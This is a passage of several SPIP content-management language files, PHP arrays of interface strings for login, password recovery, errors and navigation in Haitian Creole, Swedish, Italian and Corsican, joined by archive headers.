'lien_repondre_message' => 'Reponn sou sijè sa',
'lien_supprimer' => 'kraze',
'lien_tout_afficher' => 'Fè parèt tout',
'lien_visite_site' => 'vizite sit sa-a',
'lien_visites' => '@visites@ vizite yo',
'lien_voir_auteur' => 'Gad lotè-a',
'login_acces_prive' => 'akse nan espas prive',
'login_autre_identifiant' => 'konèk w sou sit-la ek yon lòt idantifyan',
'login_cookie_accepte' => 'Mèsi règ navigatè ou po li asèpt (pou sit la omwen)',
'login_cookie_oblige' => 'Pou w genyen idantifyé nan manyen sir sou sit-la, fòk w asèpte gatomakro.',
'login_deconnexion_ok' => 'Koneksyon se fini.',
'login_erreur_pass' => 'Erè ak modpas-la.',
'login_espace_prive' => 'espas privé',
'login_identifiant_inconnu' => 'Lidantifyan-nan « @login@ » li se pa rokoni.',
'login_login' => 'Nonnkod :',
'login_login2' => 'Nonnkod (idantifyan pou koneksyon sou sit-la) :', # MODIF
'login_login_pass_incorrect' => '(Kouman w rele osnon modpas ou se pa korèk.)',
'login_motpasseoublie' => 'modpas ki oubliyé ?',
'login_non_securise' => 'Tansyon; Fòmilè sa-a se pa sekirize. Si w vle pa
modpas ou ke vole sou rezo, mèsi aktive Javascript
nan navigatè ek',
'login_nouvelle_tentative' => 'Ankò yon lòt esey',
'login_par_ici' => 'W se enskri... pa isit la...',
'login_pass2' => 'Modpas :',
'login_preferez_refuser' => '<b>Si w vlé refize tout gatomakro </b>, gen yon lòt métòd pou konèkt a w (yon ki gen pa pli gran sékirité) :',
'login_recharger' => 'Chaj ankò paj-la',
'login_rester_identifie' => 'Gad lidantifikasyon pou plizyè jou',
'login_retour_public' => 'Tounyen sou sit piblik',
'login_retour_site' => 'Tounyen sou sit piblik',
'login_retoursitepublic' => 'tounyen dèyè sou sit piblik',
'login_sans_cookiie' => 'Idantifikasyon ki gen pa pa oken gatomakro',
'login_sinscrire' => 'enskri w',
'login_test_navigateur' => 'test navigatè/rekoneksyon',
'login_verifiez_navigateur' => '(Gad pou si navigatè ou li te pa raple modpas ou...)',
// M
'masquer_trad' => 'kache tradiksyon yo',
'module_fichiers_langues' => 'Fichye-lang yo',
// N
'navigateur_pas_redirige' => 'Si navigatè ou se pa tounyen taptap sou yon lòt ladrès web, mèsi klik isit pou kontinye.',
// O
'onglet_affacer_base' => 'Kraze labaz',
'onglet_auteur' => 'Lotè',
'onglet_contenu_site' => 'Kisa sit-la ka kontni',
'onglet_evolution_visite_mod' => 'Évolisyon',
'onglet_fonctions_avances' => 'Tout fonksyon pwési ',
'onglet_informations_personnelles' => 'Enfòmasyon pèsonèl',
'onglet_interactivite' => 'Entèwaktivite',
'onglet_messagerie' => 'Kazmodékri',
'onglet_repartition_rubrique' => 'Repatisyon ant ribrik',
'onglet_save_restaur_base' => 'Sòvgad/aranje labaz',
'onglet_vider_cache' => 'Vide kach-la',
// P
'pass_choix_pass' => 'Mèsi chwazi nouvo modpas ou :',
'pass_erreur' => 'Erè',
'pass_erreur_acces_refuse' => '<b>Erè :</b> w gen pa pli oken aksé sou sit-la.',
'pass_erreur_code_inconnu' => '<b>Erè :</b> kod-la ap’pa koresponn oken vizitè ki genyen aksé sou sit-la.',
'pass_erreur_non_enregistre' => '<b>Erè :</b> ladrès <tt>@email_oubli@</tt> ap pa enskri sou sit-la.',
'pass_erreur_non_valide' => '<b>Erè :</b> limèl sa-a <tt>@email_oubli@</tt> ki pa mache !',
'pass_erreur_probleme_technique' => '<b>Erè :</b> akoz yon pwoblèm teknik, se pa posib voye limèl sa-a.',
'pass_espace_prive_bla' => 'Espas prive sit-la se ouvè pou tout vizitè
ki enskri dabò. Kan w ap enskri w, w ke kapab,
fè lekti tout atik ki ankò pou ekri ek pwopoze atik ou mem,
osnon mem soutni nan tout fowom sit sa-a .',
'pass_forum_bla' => 'W ap domann soutni nan yon fowom ki rézève
pou vizitè ki deja enskri.',
'pass_indiquez_cidessous' => 'Endik isit anba ladrès limèl w ap enskri w dabò.
W
ke genyen yon limel ki di w kouman w ke kapab rekipè laksé ou.
',
'pass_mail_passcookie' => '(Tala se mesaj otomatik)
Pou w genyen ankò lakse ou sou sit-la
@nom_site_spip@ (@adresse_site@)
Mèsi fè yon viré sou ladrès la :
@sendcookie@
W ke kapab alò enskri yon nouvo modpas
ak tounyen déyé konekte sou sit-la.
', # MODIF
'pass_mot_oublie' => 'Modpas ki oubliye',
'pass_nouveau_enregistre' => 'Nouvo modpas ou-a se enskri nan mémwar.',
'pass_nouveau_pass' => 'Nouvo modpas',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Modpas ki oublye ',
'pass_quitter_fenetre' => 'Lage finèt-la',
'pass_rappel_login' => 'Raple : lidantifyan ou-a (nondkod) se « @login@ ».',
'pass_recevoir_mail' => 'W ke genyen yon limèl ki di w kouman w kapab rekipè laksé ou sou sit sa-a.',
'pass_retour_public' => 'Tounyen déyè sou sit piblik',
'pass_rien_a_faire_ici' => 'Genyen pa ryen pou fè isit.',
'pass_vousinscrire' => 'Enskri w sou sit sa-a',
'precedent' => 'déyè',
'previsualisation' => 'Pou gade avan pibliye',
'previsualiser' => 'Gade avan pibliyé',
// S
'squelette' => 'eskelet',
'squelette_inclus_ligne' => 'eskelet enkli, liy',
'squelette_ligne' => 'eskelet,liy',
'stats_visites_et_popularite' => '@visites@ vizit yo ; kouman se popilè : @popularite@',
'suivant' => 'swivan',
// T
'taille_ko' => '@taille@ ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ oktè',
'texte_actualite_site_1' => 'Kan w genyen abitid ek lentèfas, w ke kapab piyé sou «',
'texte_actualite_site_2' => 'entèfas konplé',
'texte_actualite_site_3' => '» pou genyen plis posibilite.',
'texte_creation_automatique_vignette' => 'Kreyasyon otomatik tout viyèt pou gade avan pibliyé ap mache jodiya sou sit-la. Si w enstal ek fòmilè sa-a imaj yo nan fòma (sa-yo) @gd_formats@, yo ke vini ak yon viyèt ki tay pli gran se @taille_preview@ piksel.',
'texte_documents_associes' => 'Dokiman swivan sa-yo se asosye ek atik-la,
poutan yo genyen pa dirèkman parèt nan atik-la. Kiswa kouman paj ou rosanm sou sit piblik,
yo ki parèt nan fòm dokiman jwen.',
'texte_erreur_mise_niveau_base' => 'Ere ek bazdone pou mèt nan nivo.
imaj <b>@fichier@</b> sa-a ki pa rive (article @id_article@).
Ekri référans-la, ek esey yon lot fwa
aranje nivo, epi gade si imaj yo ki kapab parèt
byen toujou nan atik yo.', # MODIF
'texte_erreur_visiteur' => 'W t eseye antre nan lespas privé ak yon lidantifyan an ki pa rive pèmèt aksyon la.', # MODIF
'texte_inc_auth_1' => 'Kouman w rele pou genyen idantifye w
<b>@auth_login@</b>, soman li pli/pa egsite nan bazdone.
Esey', # MODIF
'texte_inc_auth_2' => 'konèk w ankò yon lot fwa',
'texte_inc_auth_3' => ', aprè w pètèt lage épi
rèt ek démar yon lot fwa navigatè ou.',
'texte_inc_config' => 'Tout chanjman nan paj sa-yo genyen gran enflians si manyen sit-la ka mache.
Lès azot bagay-la sou kote kounyen-a, si w genyen pòkò gran abitid ak manyen kouman SPIP mache.
<br /><br /><b> Ann
lès plitò jestyon paj sa-yo pou wèbmèt prensipal sou sit-la.</b>', # MODIF
'texte_inc_meta_1' => 'Sistèm la ki genyen yon erè ak lékriti fichye <code>@fichier@</code>. Mèsi, w ki komandè sit-la,', # MODIF
'texte_inc_meta_2' => 'gade tout drwa lékriti se korek',
'texte_inc_meta_3' => 'nan répètwa <code>@repertoire@</code>.', # MODIF
'texte_statut_en_cours_redaction' => 'ankò pou ekri',
'texte_statut_poubelle' => 'nan bwat poubèl',
'texte_statut_propose_evaluation' => 'pwopoze pou jijman',
'texte_statut_publie' => 'pibliye an ly',
'texte_statut_refuse' => 'refize',
'titre_ajouter_mot_cle' => 'AJOUTE YON MOKLE :',
'titre_cadre_raccourcis' => 'TICHEMEN YO :',
'titre_changer_couleur_interface' => 'Chanje koulè lentèfas',
'titre_image_admin_article' => 'W kapab jère atik-la',
'titre_image_administrateur' => 'Komandè',
'titre_image_aide' => 'Ann genyen èd sou eleman nan',
'titre_image_auteur_supprime' => 'Lotè te kraze',
'titre_image_redacteur' => 'Redaktè ap gen pa aksè',
'titre_image_redacteur_02' => 'Redaktè',
'titre_image_visiteur' => 'Vizitè',
'titre_joindre_document' => 'JWENN YON DOKIMAN',
'titre_mots_cles' => 'MOKLE YO',
'titre_probleme_technique' => 'Atansyon : yon pxoblèm teknik (sèrvèr SQL) fe entediksyon antre nan pati a nan sit sa a. Mési konprann.', # MODIF
'titre_publier_document' => 'PIBLIYE YON DOKIMAN NAN PATI A NAN SIT SA A',
'titre_statistiques' => 'Estatistik sit la',
'titre_titre_document' => 'Kouman rele dokiman a :',
'trad_reference' => '(atik pou referans)', # MODIF
// Z
'zbug_balise_b_aval' => ' : baliz B anba',
'zbug_balise_inexistante' => 'erreur @from@: la balise #@balise@ n’existe pas', # MODIF
'zbug_boucle' => 'boukle',
'zbug_boucle_recursive_undef' => 'boukle rekisiv ki pa défini', # MODIF
'zbug_champ_hors_boucle' => 'Chan @champ@ ki pa nan boukle',
'zbug_champ_hors_motif' => 'Chan @champ@ ki pa nan boukle-motif @motif@', # MODIF
'zbug_code' => 'kod',
'zbug_critere_inconnu' => 'kritè sa-a se pa koni @critere@', # MODIF
'zbug_distant_interdit' => 'déò entèdi', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'doublons sur une table sans clef primaire atomique', # MODIF
'zbug_doublon_table_sans_index' => 'doublons sur une table sans index', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@: définisyon doub', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: tag pou fème ap pa egsiste ', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintaks boukl pa korèk', # MODIF
'zbug_erreur_execution_page' => 'erè nan leksékisyon paj la', # MODIF
'zbug_erreur_filtre' => 'Erè: fil <b>« @filtre@ »</b> se pa defini ', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} ki pa mache ak (FORUMS) oubyen (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Erè nan lèskelèt',
'zbug_info_erreur_squelette' => 'Erè sou sit-la',
'zbug_inversion_ordre_inexistant' => 'yon ord ki pa egziste genyen lanvè', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION sans critère {pagination} ou employé dans une boucle recursive', # MODIF
'zbug_parametres_inclus_incorrects' => 'Paramèt pou enklizyon se pa korek', # MODIF
'zbug_resultat' => 'rézilta',
'zbug_serveur_indefini' => 'sèvè SQL ki pa defini', # MODIF
'zbug_table_inconnue' => 'Tab SQL « @table@ » se pa koni'
);
?>
public_sv.php 0000666 00000007352 15252547432 0007267 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=sv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Hemsida', # MODIF
'articles' => 'Artiklar',
'articles_auteur' => 'Författarens artiklar',
'articles_populaires' => 'De mest lästa artiklarna',
'articles_rubrique' => 'Avdelningens artiklar',
'aucun_article' => 'Det finns ingen artikel på denna adress',
'aucun_auteur' => 'Det finns ingen författare på denna adress',
'aucun_site' => 'Det finns ingen sajt på denna adress',
'aucune_breve' => 'Det finns ingen nyhet på denna adress',
'aucune_rubrique' => 'Det finns ingen avdelning på denna adress',
'autres' => 'Andra',
'autres_breves' => 'Andra nyheter',
'autres_groupes_mots_clefs' => 'Andra grupper av nyckelord',
'autres_sites' => 'Andra sajter',
// B
'bonjour' => 'Hej',
// C
'commenter_site' => 'Kommentera sajten',
'copie_document_impossible' => 'Det går inte att kopiera dokumentet',
// D
'date' => 'Datum',
'dernier_ajout' => 'Senaste bidragen',
'dernieres_breves' => 'Senaste nyheterna',
'derniers_articles' => 'Senaste artiklarna',
'derniers_commentaires' => 'Senaste kommentarerna',
'derniers_messages_forum' => 'Senaste forum-meddelandena',
// E
'edition_mode_texte' => 'Textversion',
'en_reponse' => 'Svarar på:',
'en_resume' => 'Sammanfattning',
'envoyer_message' => 'För att skicka ett meddelande',
'espace_prive' => 'Privat del',
// F
'formats_acceptes' => 'Godkända format: @formats@.',
// H
'hierarchie_site' => 'Sajtens hierarki',
// J
'jours' => 'dagar',
// L
'lien_connecter' => 'Logga in',
// M
'meme_auteur' => 'Av samma författare',
'meme_rubrique' => 'Inom samma avdelning',
'memes_auteurs' => 'Av samma författare',
'message' => 'Meddelande',
'messages_forum' => 'Forum-meddelande', # MODIF
'messages_recents' => 'Senaste forum-meddelandena',
'mots_clefs' => 'Nyckelord',
'mots_clefs_meme_groupe' => 'Nyckelord i samma grupp',
// N
'navigation' => 'Navigering',
'nom' => 'Namn',
'nouveautes' => 'Nytt',
'nouveautes_web' => 'Nytt på webben',
'nouveaux_articles' => 'Nya artiklar',
'nouvelles_breves' => 'Nya nyheter',
// P
'page_precedente' => 'föregående sida',
'page_suivante' => 'nästa sida',
'par_auteur' => 'av ',
'participer_site' => 'Du kan ta en aktiv roll i den här sajten och skriva dina egna artiklar genom att registrera dig nedan. Du kommer då genast att få ett epost med uppgifter som du använder för att logga in på sajtens privata del.',
'plan_site' => 'Sajtkarta',
'popularite' => 'Popularitet',
'poster_message' => 'För att skicka ett meddelande',
'proposer_site' => 'Du kan föreslå en sajt att lägga till i avdelningen:',
// R
'repondre_article' => 'Svara på artikeln',
'repondre_breve' => 'Svara på nyheten',
'resultats_recherche' => 'Sök-resultat',
'retour_debut_forums' => 'Tillbaka till forumens början',
'rubrique' => 'Avdelning',
'rubriques' => 'Avdelningar',
// S
'signatures_petition' => 'Underskrifter',
'site_realise_avec_spip' => 'Sajten skapad med SPIP',
'sites_web' => 'Websajter',
'sous_rubriques' => 'Underavdelningar',
'spam' => 'Spam',
'suite' => 'fortsätt',
'sur_web' => 'På webben',
'syndiquer_rubrique' => 'Syndikera avdelning',
'syndiquer_site' => 'Syndikera hela sajten',
// T
'texte_lettre_information' => 'Här är sajtens nyhetsbrev',
'texte_lettre_information_2' => 'Det här brevet innehåller en sammanfattning av de artiklar och nyheter som publicerats sedan ', # MODIF
// V
'ver_imprimer' => 'Utskrifts-version',
'voir_en_ligne' => 'Se online',
'voir_squelette' => 'visa sidans mall'
);
?>
public_it_fem.php 0000666 00000007434 15252547432 0010103 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=it_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Home page', # MODIF
'articles' => 'Articoli',
'articles_auteur' => 'Articoli di questo autore',
'articles_populaires' => 'Articoli più letti',
'articles_rubrique' => 'Articoli di questa rubrica',
'aucun_article' => 'Non ci sono articoli a questo indirizzo',
'aucun_auteur' => 'Non ci sono autrici a questo indirizzo',
'aucun_site' => 'Non ci sono siti a questo indirizzo',
'aucune_breve' => 'Non ci sono brevi a questo indirizzo',
'aucune_rubrique' => 'Non ci sono rubriche a questo indirizzo',
'autres' => 'Altri',
'autres_breves' => 'Altre brevi',
'autres_groupes_mots_clefs' => 'Altri gruppi di parole chiave',
'autres_sites' => 'Altri siti',
// B
'bonjour' => 'Salve',
// C
'commenter_site' => 'Commenta questo sito',
'copie_document_impossible' => 'Impossibile copiare il documento',
// D
'date' => 'Data',
'dernier_ajout' => 'Ultimo aggiornamento',
'dernieres_breves' => 'Ultime brevi',
'derniers_articles' => 'Ultimi articoli',
'derniers_commentaires' => 'Ultimi commenti',
'derniers_messages_forum' => 'Ultimi messaggi pubblicati nei forum',
// E
'edition_mode_texte' => 'Versione solo testo di',
'en_reponse' => 'In risposta a:',
'en_resume' => 'Riassunto',
'envoyer_message' => 'Invia un messaggio',
'espace_prive' => 'Area riservata',
// F
'formats_acceptes' => 'Formati accettati: @formats@.',
// H
'hierarchie_site' => 'Mappa del sito',
// J
'jours' => 'giorni',
// L
'lien_connecter' => 'Connettersi',
// M
'meme_auteur' => 'Della stessa autrice',
'meme_rubrique' => 'Nella stessa rubrica',
'memes_auteurs' => 'Delle stesse autrici',
'message' => 'Messaggio',
'messages_forum' => 'Messaggi del forum', # MODIF
'messages_recents' => 'Messaggi più recenti del forum',
'mots_clefs' => 'Parole chiave',
'mots_clefs_meme_groupe' => 'Parole chiave nello stesso gruppo',
// N
'navigation' => 'Navigazione',
'nom' => 'Cognome',
'nouveautes' => 'Le novità',
'nouveautes_web' => 'Novità sul Web',
'nouveaux_articles' => 'Nuovi articoli',
'nouvelles_breves' => 'Nuove brevi',
// P
'page_precedente' => 'pagina precedente',
'page_suivante' => 'pagina successiva',
'par_auteur' => 'di ',
'participer_site' => 'È possibile partecipare alla vita di questo sito e proporre degli articoli iscrivendosi qui sotto. Verrà spedito immediatamente un email con il codice di accesso all’area riservata del sito.',
'plan_site' => 'Mappa del sito',
'popularite' => 'Popolarità',
'poster_message' => 'Inviare un messaggio',
'proposer_site' => 'È possibile proporre un sito da aggiungere a questa rubrica:',
// R
'repondre_article' => 'Rispondere all’articolo',
'repondre_breve' => 'Rispondere a questa breve',
'resultats_recherche' => 'Risultati della ricerca',
'retour_debut_forums' => 'Tornare all’inizio dei forum',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubriche',
// S
'signatures_petition' => 'Firme',
'site_realise_avec_spip' => 'Sito realizzato con SPIP',
'sites_web' => 'Siti Web',
'sous_rubriques' => 'Sottorubriche',
'spam' => 'Spam',
'suite' => 'segue',
'sur_web' => 'Sul Web',
'syndiquer_rubrique' => 'Mettere in syndication questa rubrica',
'syndiquer_site' => 'Mettere in syndication tutto il sito',
// T
'texte_lettre_information' => 'Newsletter del sito',
'texte_lettre_information_2' => 'Questa lettera recensisce gli articoli e le brevi pubblicati a partire dal', # MODIF
// V
'ver_imprimer' => 'Versione per la stampa',
'voir_en_ligne' => 'Vedi on line',
'voir_squelette' => 'download del modello di questa pagina'
);
?>
public_it.php 0000666 00000007510 15252547432 0007247 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Home',
'article' => 'Articolo',
'articles' => 'Articoli',
'articles_auteur' => 'Articoli di questo autore',
'articles_populaires' => 'Articoli più letti',
'articles_rubrique' => 'Articoli di questa rubrica',
'aucun_article' => 'Non ci sono articoli a questo indirizzo',
'aucun_auteur' => 'Non ci sono autori a questo indirizzo',
'aucun_site' => 'Non ci sono siti a questo indirizzo',
'aucune_breve' => 'Non ci sono brevi a questo indirizzo',
'aucune_rubrique' => 'Non ci sono rubriche a questo indirizzo',
'auteur' => 'Autore',
'autres' => 'Altri',
'autres_breves' => 'Altre brevi',
'autres_groupes_mots_clefs' => 'Altri gruppi di parole chiave',
'autres_sites' => 'Altri siti',
// B
'bonjour' => 'Salve',
// C
'commenter_site' => 'Commenta questo sito',
'contact' => 'Contatti',
'copie_document_impossible' => 'Impossibile copiare il documento',
// D
'date' => 'Data',
'dernier_ajout' => 'Ultimo aggiornamento',
'dernieres_breves' => 'Ultime brevi',
'derniers_articles' => 'Ultimi articoli',
'derniers_commentaires' => 'Ultimi commenti',
'derniers_messages_forum' => 'Ultimi messaggi pubblicati nei forum',
// E
'edition_mode_texte' => 'Versione solo testo di',
'en_reponse' => 'In risposta a:',
'en_resume' => 'Riassunto',
'envoyer_message' => 'Invia un messaggio',
'espace_prive' => 'Area riservata',
// F
'formats_acceptes' => 'Formati accettati: @formats@.',
// H
'hierarchie_site' => 'Mappa del sito',
// J
'jours' => 'giorni',
// L
'lien_connecter' => 'Connettersi',
// M
'meme_auteur' => 'Dello stesso autore',
'meme_rubrique' => 'Nella stessa rubrica',
'memes_auteurs' => 'Degli stessi autori',
'message' => 'Messaggio',
'messages_forum' => 'Messaggi',
'messages_recents' => 'Messaggi più recenti del forum',
'mots_clef' => 'Parola chiave',
'mots_clefs' => 'Parole chiave',
'mots_clefs_meme_groupe' => 'Parole chiave nello stesso gruppo',
// N
'navigation' => 'Navigazione',
'nom' => 'Cognome',
'nouveautes' => 'Le novità',
'nouveautes_web' => 'Novità sul Web',
'nouveaux_articles' => 'Nuovi articoli',
'nouvelles_breves' => 'Nuove brevi',
// P
'page_precedente' => 'pagina precedente',
'page_suivante' => 'pagina successiva',
'par_auteur' => 'di ',
'participer_site' => 'È possibile partecipare alla vita di questo sito e proporre degli articoli iscrivendosi qui sotto. Verrà spedito immediatamente un email con il codice di accesso all’area riservata del sito.',
'plan_site' => 'Mappa del sito',
'popularite' => 'Popolarità',
'poster_message' => 'Inviare un messaggio',
'proposer_site' => 'È possibile proporre un sito da aggiungere a questa rubrica:',
// R
'repondre_article' => 'Rispondere all’articolo',
'repondre_breve' => 'Rispondere a questa breve',
'resultats_recherche' => 'Risultati della ricerca',
'retour_debut_forums' => 'Tornare all’inizio dei forum',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubriche',
// S
'signatures_petition' => 'Firme',
'site_realise_avec_spip' => 'Sito realizzato con SPIP',
'sites_web' => 'Siti Web',
'sous_rubriques' => 'Sottorubriche',
'spam' => 'Spam',
'suite' => 'segue',
'sur_web' => 'Sul Web',
'syndiquer_rubrique' => 'Mettere in syndication questa rubrica',
'syndiquer_site' => 'Mettere in syndication tutto il sito',
// T
'texte_lettre_information' => 'Newsletter del sito',
'texte_lettre_information_2' => 'Questo sito contiene articoli pubblicati a partire dal ',
// V
'ver_imprimer' => 'Versione per la stampa',
'voir_en_ligne' => 'Vedi on line',
'voir_squelette' => 'visualizza il modello di questa pagina'
);
?>
public_cpf_hat.php 0000666 00000006731 15252547432 0010243 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=cpf_hat
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Akey sit la', # MODIF
'articles' => 'Atik yo',
'articles_auteur' => 'Tout atik lotè a',
'articles_populaires' => 'Atik yo ki plis popilè',
'articles_rubrique' => 'Atik yo nan ribrik sa-a',
'aucun_article' => 'Gen pa oken atik sou ladrès la',
'aucun_auteur' => 'Gen pa oken lotè sou ladrès la',
'aucun_site' => 'Gen pa oken sit sou ladrès la',
'aucune_breve' => 'Gen pa oken tinouvèl sou ladrès la',
'aucune_rubrique' => 'Gen pa oken ribrik sou ladrès la',
'autres_breves' => 'Lòt tinouvèl yo',
'autres_groupes_mots_clefs' => 'Lòt gwoup mokle yo',
'autres_sites' => 'Lòt sit yo',
// B
'bonjour' => 'Bonjou',
// C
'commenter_site' => 'Lès yon komantè sou sit la',
// D
'date' => 'Dat',
'dernier_ajout' => 'Dènye bagay ki ajoute',
'dernieres_breves' => 'Dènye tinouvèl yo',
'derniers_articles' => 'Dènye atik yo',
'derniers_commentaires' => 'Dènye komantè yo',
'derniers_messages_forum' => 'Dènye mesaj yo ki te piblye nan fowom yo',
// E
'edition_mode_texte' => 'Ledisyon modtèks pou',
'en_reponse' => 'Pou réponn a :',
'en_resume' => 'Nan kèk mo',
'envoyer_message' => 'Voye yon mesaj',
'espace_prive' => 'Espas privé',
// H
'hierarchie_site' => 'Estrikti sit sa-a',
// J
'jours' => 'jou yo',
// M
'meme_auteur' => 'Mèm lotè ki ekri ankò',
'meme_rubrique' => 'Andan mèm ribrik',
'memes_auteurs' => 'Mèm lotè yo ki ekri ankò',
'message' => 'Mesaj',
'messages_forum' => 'Mesaj yo nan fowom ', # MODIF
'messages_recents' => 'Mesaj yo nan fowom ki plis resan',
'mots_clefs' => 'Mokle yo',
'mots_clefs_meme_groupe' => 'Mokle yo nan mèm gwoup',
// N
'navigation' => 'Toune-vire',
'nom' => 'Kouman rele',
'nouveautes' => 'Nouvèlté yo',
'nouveautes_web' => 'Kisa nouvo sou wèb la',
'nouveaux_articles' => 'Nouvo atik yo',
'nouvelles_breves' => 'Nouvo tinouvèl yo',
// P
'page_precedente' => 'paj dèyè',
'page_suivante' => 'paj swivan',
'par_auteur' => 'pa',
'participer_site' => 'Ou se kapab soutni vi sit la ek pwopoze ou pwop atik aw. Pou soutni kon sa enskri a w isit anba. Ou ke gen touswit ou kod laksè nan espas privé sit la.',
'plan_site' => 'Kat sit la',
'popularite' => 'Kouman se popilè',
'poster_message' => 'Voye yon mesaj',
'proposer_site' => 'Ou se kapab pwopoze yon sit pou ajoute nan ribrik la :',
// R
'repondre_article' => 'Reponn sou atik la',
'repondre_breve' => 'Reponn sou tinouvèl la',
'resultats_recherche' => 'Rezilta pou ou chèche',
'retour_debut_forums' => 'Tounyen nan koumansman fowom sa-yo',
'rubrique' => 'Ribrik',
'rubriques' => 'Ribrik yo',
// S
'signatures_petition' => 'Siyati yo',
'site_realise_avec_spip' => 'Sit la se sit ki te fè ak SPIP',
'sites_web' => 'Sitwèb yo',
'sous_rubriques' => 'Souribrik yo',
'suite' => 'swit',
'sur_web' => 'Sou wèb',
'syndiquer_rubrique' => 'Sindike ribrik la',
'syndiquer_site' => 'Sindike tout sit la mèm',
// T
'texte_lettre_information' => 'Tala lèt-enfòmasyon sit la ',
'texte_lettre_information_2' => 'Lèt la ka ramase tout atik ek tinouvèl yo te pibliye depi', # MODIF
// V
'ver_imprimer' => 'Vèsyon pou enprime',
'voir_en_ligne' => 'Gad an liy',
'voir_squelette' => 'kou je sou léskelèt paj-la'
);
?>
spip_co.php 0000666 00000111757 15252547432 0006742 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=co
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Corsu [co]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'spip-dev@rezo.net',
// A
'access_interface_graphique' => 'Ritornu à l’interfaccia gràfica sana',
'access_mode_texte' => 'Fà cumparisce l’interfaccia testu simplificata',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Mudificà st’artìculu',
'admin_modifier_auteur' => 'Mudificà st’autore',
'admin_modifier_breve' => 'Mudificà stu dispacciu',
'admin_modifier_mot' => 'Mudificà stu segnu',
'admin_modifier_rubrique' => 'Mudificà sta rùbbrica',
'admin_recalculer' => 'Ricaricà sta pàgina',
'afficher_calendrier' => 'Mustrà l’almanaccu',
'afficher_trad' => 'fà cumparisce e traduzzioni',
'alerte_maj_impossible' => '<b>Attenti !</b> Ùn hè pussìbule l’aghjurnamentu di a basa SQL versu a versione @version@,
forse per via d’un prublemu cù i dirittu di mudìficazione in a basa di dati. Cuntattate puru u vostru òspite.',
'alerte_modif_info_concourante' => 'ATTENTI : St’infurmazione hè stata mudificata in listessu mentre. U valore attuale hè :',
'analyse_xml' => 'Anàlisi XML',
'annuler' => 'Annullà',
'antispam_champ_vide' => 'Lasciate puru stu campu viotu :',
'articles_recents' => 'L’ùltimi artìculi',
'avis_archive_incorrect' => 'u schedariu d’archiviu ùn hè micca un schedariu SPIP',
'avis_archive_invalide' => 'u schedariu d’archiviu ùn hè micca vàlidu',
'avis_attention' => 'ATTENTI !',
'avis_champ_incorrect_type_objet' => 'Nome di campu sbagliatu @name@ per oggettu di tippu @type@',
'avis_colonne_inexistante' => 'A culonna @col@ ùn esiste micca',
'avis_erreur' => 'Errore: vede quì sottu',
'avis_erreur_connexion' => 'Errore di cunnessione',
'avis_erreur_cookie' => 'problemu di cookie',
'avis_erreur_fonction_contexte' => 'Errore di prugramazione. Ùn deve esse chjamata sta funzione in tale cuntestu.',
'avis_erreur_mysql' => 'Errore SQL',
'avis_erreur_sauvegarde' => 'Errore durante u salvamentu (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Problemu d’accessu à u spaziu privatu',
// B
'barre_a_accent_grave' => 'Inserisce un A maiùsculu cù l’aletta à falà',
'barre_aide' => 'Aduprate puru l’accurtatoghji tipugràfichi pè arricchisce a paginatura',
'barre_e_accent_aigu' => 'Inserisce un E maiùsculu cù l’aletta à cullà',
'barre_eo' => 'Inserisce un E in l’O',
'barre_eo_maj' => 'Inserisce un E in l’O maiùsculu',
'barre_euro' => 'Inserisce u sìmbulu €',
'barre_gras' => 'Mette in {{grassu}}',
'barre_guillemets' => 'Mette trà « virgulette »',
'barre_guillemets_simples' => 'Mette trà “virgulette altre”',
'barre_intertitre' => 'Scambià in {{{infratìtulu}}}',
'barre_italic' => 'Mette in {itàlicu}',
'barre_lien' => 'Scambià in [lea ipertestu->http://...]',
'barre_lien_input' => 'Rinsignate puru l’indirizzu di a vostra lea (pudete dà un indirizzu web di forma http://www.umositu.com o
indettate solu u nùmeru d’un artìculu di stu situ.',
'barre_note' => 'Scambià in [[Nota di fondu di pàgina]]',
'barre_paragraphe' => 'Creà un paragrafu',
'barre_quote' => '<quote>Cità un messagiu</quote>',
'bouton_changer' => 'Scambià',
'bouton_chercher' => 'Circà',
'bouton_choisir' => 'Sceglie',
'bouton_deplacer' => 'Move',
'bouton_download' => 'Scaricà', # MODIF
'bouton_enregistrer' => 'Arregistrà',
'bouton_radio_desactiver_messagerie_interne' => 'Disattivà a mesageria interna',
